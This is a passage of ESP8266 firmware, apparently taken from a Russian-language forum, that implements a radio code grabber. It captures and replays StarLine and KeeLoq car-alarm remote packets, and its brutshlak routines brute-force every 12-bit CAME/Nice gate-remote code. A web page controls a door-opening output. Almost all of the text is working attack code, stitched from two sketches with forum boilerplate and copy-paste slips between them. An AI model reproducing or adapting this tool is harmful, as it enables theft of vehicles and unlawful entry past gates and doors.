  kk = 0;

  EEPROM.begin(3512);
  starline_codePAK2zapis[0] = EEPROM.read(70);
  starline_codePAK2zapis[1] = EEPROM.read(71);
  starline_codePAK2zapis[2] = EEPROM.read(72);
  starline_codePAK2zapis[3] = EEPROM.read(73);
  starline_codePAK2zapis[4] = EEPROM.read(74);
  starline_codePAK2zapis[5] = EEPROM.read(75);
  starline_codePAK2zapis[6] = EEPROM.read(76);
  starline_codePAK2zapis[7] = EEPROM.read(77);
  starline_codePAK2zapis[8] = EEPROM.read(78);


  starline_sendPAK2(starline_codePAK2zapis);








  starline_state = 0;


}


////////////////////////////////////WIIIIIIIIIIIFIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII///////////////////////////





void starline_sendPAK2zub1(byte* starline_codePAK1zapisSBTR) {
  Serial.println("- sending staraylayn -ss-");
  for (int i = 0; i < 9; i++) {
    Serial.print(starline_codePAK1zapisSBTR[i], HEX);
    Serial.print(" -zz ");
  }
  for (int i = 0; i < 13; i++) { //посылаем преамблу
    send_meander(1000);
  }
  //  digitalWrite(TX, HIGH);
  // delayMicroseconds(400);
  //  digitalWrite(TX, LOW);
  //  delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(starline_codePAK1zapisSBTR[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(starline_codePAK1zapisSBTR[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }

  }
}




void starline_sendPAK2zub2(byte* starline_codePAK2zapisSBTR) {
  Serial.println("- sending staraylayn -ss-");
  for (int i = 0; i < 9; i++) {
    Serial.print(starline_codePAK2zapisSBTR[i], HEX);
    Serial.print(" -zz ");
  }
  for (int i = 0; i < 13; i++) { //посылаем преамблу
    send_meander(1000);
  }
  //  digitalWrite(TX, HIGH);
  // delayMicroseconds(400);
  //  digitalWrite(TX, LOW);
  //  delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(starline_codePAK2zapisSBTR[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(starline_codePAK2zapisSBTR[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }

  }
}


void keelog_sendzibaruy(byte* keelog_codePAK1zapisSBTR) {
  Serial.println("- sending keelog -");
  for (int i = 0; i < 9; i++) {
    Serial.print(keelog_codePAK1zapisSBTR[i], HEX);
    Serial.print(" - ");
  }
  for (int i = 0; i < 11; i++) { //посылаем преамблу
    send_meander(400);
  }
  digitalWrite(TX, HIGH);
  delayMicroseconds(400);
  digitalWrite(TX, LOW);
  delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(keelog_codePAK1zapisSBTR[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(keelog_codePAK1zapisSBTR[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }

  }
}


void keelog_sendzibaruy2(byte* keelog_codePAK2zapisSBTR) {
  Serial.println("- sending keelog -");
  for (int i = 0; i < 9; i++) {
    Serial.print(keelog_codePAK2zapisSBTR[i], HEX);
    Serial.print(" - ");
  }
  for (int i = 0; i < 11; i++) { //посылаем преамблу
    send_meander(400);
  }
  digitalWrite(TX, HIGH);
  delayMicroseconds(400);
  digitalWrite(TX, LOW);
  delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(keelog_codePAK2zapisSBTR[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(keelog_codePAK2zapisSBTR[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }

  }
}


////////////////////////////////////////////////////////////////bit vvod send//////////////////////////////////////


void starline_sendVVOD1(byte* VVOD1) {
  Serial.println("- sending staraylayn -ss-");
  for (int i = 0; i < 9; i++) {
    Serial.print(VVOD1[i], HEX);
    Serial.print(" -zz ");
  }
  for (int i = 0; i < 13; i++) { //посылаем преамблу
    send_meander(1000);
  }
  //  digitalWrite(TX, HIGH);
  // delayMicroseconds(400);
  //  digitalWrite(TX, LOW);
  //  delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(VVOD1[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(VVOD1[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }

  }
}



void starline_sendVVOD2(byte* VVOD1) {
  Serial.println("- sending staraylayn -ss-");
  for (int i = 0; i < 9; i++) {
    Serial.print(VVOD2[i], HEX);
    Serial.print(" -zz ");
  }
  for (int i = 0; i < 13; i++) { //посылаем преамблу
    send_meander(1000);
  }
  //  digitalWrite(TX, HIGH);
  // delayMicroseconds(400);
  //  digitalWrite(TX, LOW);
  //  delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(VVOD2[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(VVOD2[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }

  }
}

/////////////////////////////keevvod///////////////////////////////////


void keelog_sendVVOD1(byte* VVOD1) {
  Serial.println("- sending keelog -");
  for (int i = 0; i < 9; i++) {
    Serial.print(VVOD1[i], HEX);
    Serial.print(" - ");
  }
  for (int i = 0; i < 11; i++) { //посылаем преамблу
    send_meander(400);
  }
  digitalWrite(TX, HIGH);
  delayMicroseconds(400);
  digitalWrite(TX, LOW);
  delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(VVOD1[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(VVOD1[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }

  }
}

//////////////////////////////////////22222222222222222222222222//////////////////////////////////////

void keelog_sendVVOD2(byte* VVOD2) {
  Serial.println("- sending keelog -");
  for (int i = 0; i < 9; i++) {
    Serial.print(VVOD2[i], HEX);
    Serial.print(" - ");
  }
  for (int i = 0; i < 11; i++) { //посылаем преамблу
    send_meander(400);
  }
  digitalWrite(TX, HIGH);
  delayMicroseconds(400);
  digitalWrite(TX, LOW);
  delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(VVOD2[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(VVOD2[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }

  }
}


void brutshlak() {



  if (send_code_brut < 4097) {

    codan = String(send_code_brut);

    Serial.println(send_code_brut);


    SendCame4(send_code_brut);

    sending = "Shlak-Brutting:" + String(send_code_brut);

    send_code_brut++;
  }




}

void brutshlak2() {



  if (send_code_brut < 4097) {

    codan = String(send_code_brut);

    Serial.println(send_code_brut);


    SendNice(send_code_brut);

    sending = "Shlak-Brutting:" + String(send_code_brut);

    send_code_brut++;
  }




}


void brutshlakgansta() {

  ///ESP.wdtDisable();
  ESP.wdtEnable(1000);
  for (int send_code = 0; send_code < 4096; send_code++) // этот цикл после того как код определен необходимо убрать
  {
    for (int j = 0; j < 7; j++) // достаточно 4-х, но из-за помех поставил 7
    {
      digitalWrite(TX, HIGH); // стартовый импульс
      delayMicroseconds(700);
      digitalWrite(TX, LOW);
      for (int i = 12; i > 0; i--)
      {
        boolean bit_code = bitRead(send_code, i - 1);
        if (bit_code)
        {
          digitalWrite(TX, LOW); // единица
          delayMicroseconds(1400);
          digitalWrite(TX, HIGH);
          delayMicroseconds(700);
        }
        else
        {
          digitalWrite(TX, LOW); // ноль
          delayMicroseconds(700);
          digitalWrite(TX, HIGH);
          delayMicroseconds(1400);
        }
      }
      digitalWrite(TX, LOW); // пилотный период
      delayMicroseconds(25200);
    }


    codan = String(send_code);

    Serial.println(send_code);

    server.handleClient();
    buildXML();
    server.send(200, "text/html", webSite);
    ESP.wdtFeed();

  }
}

void codes() {
  fug = starline_code[0];



  fug1 = starline_code[1];
  fug2 = starline_code[2];


  fug4 = starline_code[4];



  fug41 = starline_code[5];
  fug42 = starline_code[6];

  Serial.println(fug);
  Serial.println(fug1);
  Serial.println(fug2);

  Serial.println("CHZN");

  Serial.println(fug4);
  Serial.println("-");
  Serial.println(fug41);
  Serial.println("-");
  Serial.println(fug42);
  Serial.println("-");

  if (fug == 3 && fug1 == 3 && fug2 == 3) {

    Serial.println(" rabotaet ");



    /////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


    digitalWrite(fugabum, HIGH);
    delay (5000);



    digitalWrite(fugabum, LOW);

  }


  if (fug4 == 190 && fug41 == 150 && fug42 == 58) {

    Serial.println(" rabotaet ");



    /////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


    digitalWrite(fugabum, HIGH);
    delay (5000);



    digitalWrite(fugabum, LOW);




  }


  if (fug4 == 139 && fug41 == 154 && fug42 == 218) {

    Serial.println(" rabotaet ");



    /////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


    digitalWrite(fugabum, HIGH);
    delay (5000);



    digitalWrite(fugabum, LOW);




  }


  if (fug == 2 && fug1 == 2 && fug2 == 2) {

    Serial.println(" nerabotaet ");

    digitalWrite(fugabum, LOW);




  }




}


void opendver () {
  Serial.println(" rabotaet ");



  /////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


  digitalWrite(fugabum, HIGH);
  codan = "OPENING";
  delay (5000);



  digitalWrite(fugabum, LOW);


}






устарел


Код: Выбрать все




#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>

ESP8266WebServer server(80);
const char* ssid="DWER37"; //название точки доступа
const char* password="123412345"; // пароль не будем писать
//const char* ssid="HomeIoT"; // здесь пишем название домашней точки доступа
//const char* password="DDV987654321"; // и пароль

String webSite,javaScript,XML;
unsigned long wait000=0UL,wait001=1000UL;
int OUT1=D3, OUT2=D4, BAT=D5;//Назначение выводов
int Sila, SilaLow = -43;   // Контроль силы сигнала WiFi
int Batareya, BatLow = 400; //Контроль напряжения батареи
float Povorot = 0.8, Trimer;    // Переменные для значений поворота и тримера двигателя
String Bat, SilaW;
const int sliderMAX=3;     // This sets the number of sliders you want
int sliderVal[3]={0, 0, 0};  //Начальные значения 1 слайдера - скорость, 2-го - поворот, 3- тример
int ESPval[sliderMAX];

/////////////////////radio/////////////////////////////////////////////////////////////////////////////////////////////////

int fug;

int fug1;
int fug2;


int fug22;


int fug4;

int fug41;
int fug42;


int fug422;






int fug3;

int fug31;
int fug32;


int fug322;

/////////////////////////////////////////////////////parol
int kiop3 = 0;
int pam = 50;
int passwordkg[6] ={8,3,2,1,9,0};

int parolking = 0;
int parolvvod[6] = {0,0,0,0,0,0};
int i1p = 0;
int yach = 0;

int send_codekg = 0;
int send_codezoy = 0;

int send_code = 1;

int yacheyka = 0;
///////////////////////////////////////////////////////////////////////



 int starres = 0;

int pakiweb = 0;
int bitnumber = 0;
int shirt = 0;

//wifii&server end/////////////////////////////////////

//menu

boolean backlight = true;
int contrast=50;
int kiop=0;
int menuitem = 1;
int page = 1;

int pagero = 0;

int smena = 1;//smena sig

volatile boolean up = false;
volatile boolean down = false;
volatile boolean middle = false;

int downButtonState = 0;
int upButtonState = 0; 
int selectButtonState = 0;         
int lastDownButtonState = 0;
int lastSelectButtonState = 0;
int lastUpButtonState = 0;





//menu end



#define rxPin D7  //d7
#define TX 6 //d6

#define fugabum D6 //d6
#define diod 2 //d6



#define tonePin 14 //d5
int ing = 0;
int starlineCounter = 0;
int starlinePreambula = 0;
static long StarLineCode1 = 0; // first part
static long StarLineCode2 = 0; // last part
static long invertStarLineCode1 = 0; // first part
static long invertStarLineCode2 = 0; // last part
String code = "";
boolean bValidPacket=false;
int decodeMethod = 1;
int lastRxValue = 0;
int tempRxValue = 0;
unsigned long lastRxTime = 0;
unsigned long tempTime = 0;
 
//keeloq
int keeloqHeader=0;

int keeloqCounter = 0;

int starlineZCounter = 0;

int starlineZpreambulaCounter = 0;
int keeloqPreambula = 0;

int stralineHeader=0;


static long keeloqCode1 = 0; // first part
static long keeloqCode2 = 0; // last part
static long invertkeeloqCode1 = 0; // first part
static long invertkeeloqCode2 = 0; // last part
String keecode = "";


boolean keebValidPacket=false;

int keelastRxValue = 0;
int keetempRxValue = 0;
unsigned long keelastRxTime = 0;
unsigned long keetempTime = 0;

//пробуем выброс
//keelog start
unsigned long difTime = 0;
unsigned long difTime2 = 0;
int keelog_state = 0;
int keelogCounter = 0;
byte keelog_code[9];
byte keelog_codePAK2[9];
byte keelog_codePAK1[9];
byte hugaz[9];
byte hugazk[9];
byte hugazi[9];
byte starline_code[9];
byte starline_codePAK2[9];
byte starline_codePAK1[9];



byte webpak2[9];
byte webpak1[9];



int starline_state = 0;
byte kefang[9];


byte starline_codePAK2zapis[9];
byte starline_codePAK1zapis[9];

byte starline_codePAK2zapisSBTR[9];
byte starline_codePAK1zapisSBTR[9];


byte keelog_codePAK2zapis[9];
byte keelog_codePAK1zapis[9];


byte keelog_codePAK2zapisSBTR[9];
byte keelog_codePAK1zapisSBTR[9];

byte hugazS[9];
byte hugaziS[9];

byte hugazK[9];
byte hugaziK[9];



/////////////////////////////////////////////////VVODNIE

byte VVOD1[9];
byte VVOD2[9];

String readString;
// --------------------
byte CODE[8];
int x=0;

int k=0;//schet keeloq 
int kk  =0; //shet star line

int starkk = 0;






void Batare(){
  Batareya = analogRead(BAT);         // Меряем напряжение батареи
  if (Batareya < BatLow){            // Если напряжение батареи меньше порогового значения
    Bat = "          Батарея села, ПОРА на ЗАРЯДКУ"; // Пишем предупреждение
  }
  else{                              // Если норма
    Bat = "";                       // Ничего не пишем
  }
}
void SilaWifi(){
  Sila = WiFi.RSSI();  // Меряем силу сигнала WiFi
  if (Sila < SilaLow){
    SilaW = "          Сигнал слабый, РАЗВОРАЧИВАЙ";
  }
  else{
    SilaW = "";
  }
}

void buildJavascript(){
  javaScript="<SCRIPT>\n";
  javaScript+="xmlHttp=createXmlHttpObject();\n";
 
  javaScript+="function createXmlHttpObject(){\n";
  javaScript+="  if(window.XMLHttpRequest){\n";
  javaScript+="    xmlHttp=new XMLHttpRequest();\n";
  javaScript+="  }else{\n";
  javaScript+="    xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');\n";
  javaScript+="  }\n";
  javaScript+="  return xmlHttp;\n";
  javaScript+="}\n";
 
  javaScript+="function process(){\n";
  javaScript+="  if(xmlHttp.readyState==0||xmlHttp.readyState==4){\n";
  javaScript+="    xmlHttp.onreadystatechange=function(){\n";
  javaScript+="      if(xmlHttp.readyState==4&&xmlHttp.status==200){\n";
  javaScript+="        xmlDoc=xmlHttp.responseXML;\n";
  javaScript+="        xmlmsg=xmlDoc.getElementsByTagName('millistime')[0].firstChild.nodeValue;\n";
  javaScript+="        document.getElementById('runtime').innerHTML=xmlmsg;\n";               // Добавляем наши данные
  javaScript+="        xmlmsg=xmlDoc.getElementsByTagName('Sila')[0].firstChild.nodeValue;\n";// Сила сигнала WiFi
  javaScript+="        document.getElementById('Sila').innerHTML=xmlmsg;\n";                  // Сила сигнала WiFi
  javaScript+="        xmlmsg=xmlDoc.getElementsByTagName('Batareya')[0].firstChild.nodeValue;\n";// Напряжение батареи
  javaScript+="        document.getElementById('Batareya').innerHTML=xmlmsg;\n";                  // Напряжение батареи
  javaScript+="        for(i=0;i<"+(String)sliderMAX+";i++){\n";
  javaScript+="          xmlmsg=xmlDoc.getElementsByTagName('sliderval'+i)[0].firstChild.nodeValue;\n";
  javaScript+="          document.getElementById('slider'+i).value=xmlmsg;\n";
  javaScript+="          document.getElementById('Sliderval'+i).innerHTML=xmlmsg;\n";
  javaScript+="          xmlmsg=xmlDoc.getElementsByTagName('ESPval'+i)[0].firstChild.nodeValue;\n";
  javaScript+="          document.getElementById('ESPval'+i).innerHTML=xmlmsg;\n";
  javaScript+="        }\n";
  javaScript+="      }\n";
  javaScript+="    }\n";
  javaScript+="    xmlHttp.open('PUT','xml',true);\n";
  javaScript+="    xmlHttp.send(null);\n";
  javaScript+="  }\n";
  javaScript+="  setTimeout('process()',1000);\n";
  javaScript+="}\n";
 
  javaScript+="function Slider(cnt){\n";
  javaScript+="  sliderVal=document.getElementById('slider'+cnt).value;\n";
  javaScript+="  document.getElementById('Sliderval'+cnt).innerHTML=sliderVal;\n";
  javaScript+="  document.getElementById('ESPval'+cnt).innerHTML=9*(100-sliderVal)+100;\n";
  javaScript+="  if(xmlHttp.readyState==0||xmlHttp.readyState==4){\n";
  javaScript+="    xmlHttp.open('PUT','setESPval?cnt='+cnt+'&val='+sliderVal,true);\n";
  javaScript+="    xmlHttp.send(null);\n";
  javaScript+="  }\n";
  javaScript+="}\n";
 
  javaScript+="</SCRIPT>\n";
}
void buildWebsite(){    // Создаём страницу с элементами управления
  buildJavascript();
  webSite="<!DOCTYPE HTML>\n";
  webSite+="<META name='viewport' content='width=device-width, initial-scale=1', charset=\"utf-8\">\n";
  webSite+=javaScript;
  webSite+="<BODY onload='process()'>\n";
  webSite+="Дверь Входная\n";
  webSite+="Время работы = <A ID='runtime'></A>\n";
  webSite+="Сила сигнала <A ID='Sila'></A>\n";              // Сила сигнала WiFi
  webSite+="Напряжение батареи <A ID='Batareya'></A>\n"; // Напряжение батареи
  webSite+="<TABLE BORDER=1 width='700' height='200' style='text-align:center;border-collapse:collapse'>\n";
  //  webSite+="<INPUT ' TYPE='range' width='600'> \n";  // это пример слайдера
  webSite+="<TR>\n";        // 1 слайдер
  webSite+="<TD><INPUT ID='slider"+(String)0+"' TYPE='range' ONCHANGE='Slider("+(String)0+")'></TD>\n";
  webSite+="<TD>Обороты = <A ID='Sliderval"+(String)0+"'></A>\n";
  webSite+="Моторов = <A ID='ESPval"+(String)0+"'></A> * </TD>\n";
  webSite+="</TR>\n";

  webSite+="<TR>\n";        // 2 слайдер
  webSite+="<TD><INPUT ID='slider"+(String)1+"' TYPE='range' ONCHANGE='Slider("+(String)1+")'></TD>\n";
  webSite+="<TD>Дверь  = <A ID='Sliderval"+(String)1+"'></A>\n";
  webSite+="Дергай = <A ID='ESPval"+(String)1+"'></A></TD>\n";
  webSite+="</TR>\n";
 
  webSite+="<TR>\n";        // 3 слайдер
  webSite+="<TD><INPUT ID='slider"+(String)2+"' TYPE='range' ONCHANGE='Slider("+(String)2+")'></TD>\n";
  webSite+="<TD>Корекция = <A ID='Sliderval"+(String)2+"'></A>\n";
  webSite+="Моторов = <A ID='ESPval"+(String)2+"'></A></TD>\n";
  webSite+="</TR>\n";

  webSite+="</TABLE>\n";
  webSite+="</BODY>\n";
  webSite+="</HTML>\n";
}

String millis2time(){ // преобразование милисекунд в вид ч/м/с
  String Time="";
  unsigned long ss;
  byte mm,hh;
  ss=millis()/1000;
  hh=ss/3600;
  mm=(ss-hh*3600)/60;
  ss=(ss-hh*3600)-mm*60;
  if(hh<10)Time+="0";
  Time+=(String)hh+":";
  if(mm<10)Time+="0";
  Time+=(String)mm+":";
  if(ss<10)Time+="0";
  Time+=(String)ss;
  return Time;
}

void buildXML(){
  XML="<?xml version='1.0'?>";
  XML+="<xml>";
  XML+="<millistime>";
  XML+=millis2time();
  XML+="</millistime>";   // Добавляем наши данные
  SilaWifi();             // Здесь измеряем силу сигнала
  XML+="<Sila>";          // Сила сигнала WiFi
  XML+=String(Sila)+SilaW;// Сила сигнала WiFi
  XML+="</Sila>";         // Сила сигнала WiFi
  Batare();                 // Здесь измеряем напряжение батареи
  XML+="<Batareya>";        // Напряжение батареи
  XML+=String(Batareya)+Bat;// Напряжение батареи
  XML+="</Batareya>";       // Напряжение батареи
  for(int i=0;i<sliderMAX;i++){
    XML+="<sliderval"+(String)i+">";
    XML+=String(sliderVal[i]);
    XML+="</sliderval"+(String)i+">";
    XML+="<ESPval"+(String)i+">";
    ESPval[i]=9*(100-sliderVal[i])+100;
    XML+=String(ESPval[i]);
    XML+="</ESPval"+(String)i+">";
  }
  XML+="</xml>";
}

void handleWebsite(){
  buildWebsite();
  server.send(200,"text/html",webSite);
}

void handleXML(){
  buildXML();
  server.send(200,"text/xml",XML);
}

void handleESPval(){
  int sliderCNT=server.arg("cnt").toInt();
  sliderVal[sliderCNT]=server.arg("val").toInt();
  buildXML();
  server.send(200,"text/xml",XML);
}

void setup() {
  Serial.begin(115200);
  pinMode(D6, OUTPUT);
  pinMode(OUT1,OUTPUT);
  pinMode(OUT2,OUTPUT);
  pinMode(BAT,INPUT);
   digitalWrite(D6, LOW);

    digitalWrite(fugabum, LOW);
    digitalWrite(diod, LOW);


      lastRxValue = digitalRead(rxPin);
lastRxTime = micros();

//kee
  keelastRxValue = digitalRead(rxPin);
keelastRxTime = micros();
  delay(1000);

  WiFi.softAP(ssid, password); // Создаём точку доступа
//  WiFi.begin(ssid,password);  //Это вариант для подключения к существующей точке
//  while(WiFi.status()!=WL_CONNECTED)delay(500);
//  WiFi.mode(WIFI_STA);
 
  Serial.println("\n\nBOOTING ESP8266 ...");
  Serial.print("Connected to ");
  Serial.println(ssid);
  Serial.print("Station IP address: ");
  Serial.println(WiFi.localIP());     // Вывод в монитор порта присвоенный IP
  server.on("/",handleWebsite);
  server.on("/xml",handleXML);
  server.on("/setESPval",handleESPval);
  server.begin();
}

void loop() {
  server.handleClient();
  startgrabber();
  if(millis()>wait000){
    buildXML();
    wait000=millis()+1000UL;
  }
  if(millis()>wait001){
    wait001=millis()+300;           //Обновляем значения раз в 300 милисекунд
    Trimer = (ESPval[2]*.0015);
    Serial.print("   Skorost] ");
    Serial.print(ESPval[0]);
    Serial.print("   Povorot ");
    Serial.print(ESPval[1]);
    Serial.print("   Trimer ");   
    Serial.print(ESPval[2]);
    Serial.print(Trimer);

   if (ESPval[0] > 200){               // Если слайдер скорости  > 200
        if ( ESPval[1] > 600) {        //  Если слайдер поворота > 600 то поворачиваем на лево
            analogWrite(OUT1, ESPval[0]);
            analogWrite(OUT2, int(ESPval[0] * Povorot*Trimer));
            digitalWrite(D6, LOW);
            Serial.print(" Le  ");
            Serial.print(ESPval[0] * Povorot*Trimer);
           }
       else if (400 > ESPval[1] ){     //  Если слайдер поворота < 400 то поворачиваем на право
           analogWrite(OUT1, int(ESPval[0] * Povorot));
           analogWrite(OUT2, int(ESPval[0]*Trimer));
             digitalWrite(D6, HIGH); 
           Serial.print("   Pr ");
           Serial.print(int(ESPval[0] * Povorot));
           }
       else {                          //  Если слайдер поворота > 400 и < 600то едем прямо
           analogWrite(OUT1, ESPval[0]);
           analogWrite(OUT2, int(ESPval[0]*Trimer));
           Serial.print("   OK ");
           }
      }
   else {                          //  Если слайдер скорости  < 200 - выключить моторы
       analogWrite(OUT1, 0);
       analogWrite(OUT2, 0);
       Serial.print("   Stop ");
       }   
    Serial.print("   Batareya ");
    Serial.println(Batareya);
 }
}




















////////////////////radio

void startgrabber(){






tempRxValue = digitalRead(rxPin);

if(tempRxValue != lastRxValue){
tempTime = micros();
difTime = tempTime - lastRxTime;
difTime2 = tempTime - lastRxTime;

starline_get();
keelog_get();
//grab(tempTime - lastRxTime, lastRxValue);

lastRxTime = tempTime;
lastRxValue = tempRxValue;


 
}
}
 



void starline_get(){
    bValidPacket = false;
    if(starline_state==0){//ждем преамбулу и хедер
      if(difTime2 > 900 && difTime2 < 1100 && lastRxValue ==1 ){
        starlineZpreambulaCounter ++;
       
      }
   

      if(starlineZpreambulaCounter==6){
         
            starline_state=1;         
        }

       //  else{       
     //  starlineZCounter = 0;
     // }
 
    }

    /////////////////////////////////////////////////////PREAMBULA STARA///////////////////////////////////////////////////////////////////////////
    else if(starline_state==1){// получаем биты
      if(difTime2 > 350 && difTime2 < 650 && lastRxValue == 1){// получили 1
        if(decodeMethod==0){
          starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]>>1)|B10000000;
        }
        else{
          starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]<<1)|B00000000;
        }
        bValidPacket = true;
      }
      else if(difTime2 > 150 && difTime2 < 350 && lastRxValue == 1){
        if(decodeMethod==0){
          starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]>>1)|B00000000;
        }
        else{
          starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]<<1)|B00000001;
        }
        bValidPacket = true;
      }
      else if(lastRxValue == 0){
      }
      else{
        starline_state=1;
        starlineZCounter = 0;
      }
     
      if(bValidPacket){
        starlineZCounter++;
        if(starlineZCounter==64){           //64ili66
          starline_vardump();
          starlineZCounter = 0;
          starline_state = 0;
          starlineZpreambulaCounter = 0; /////////novshetch
          starkk++;                   /////////shetchik
 




       
        }
      }
    }
}









































 
 




















///uuuaaaaaaaa che ya nadelal)))))))) IIIIIIzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSTAAAAAAAAAAAAAAAAARRRRRRRRRRzzzzzzz


//statline pomba
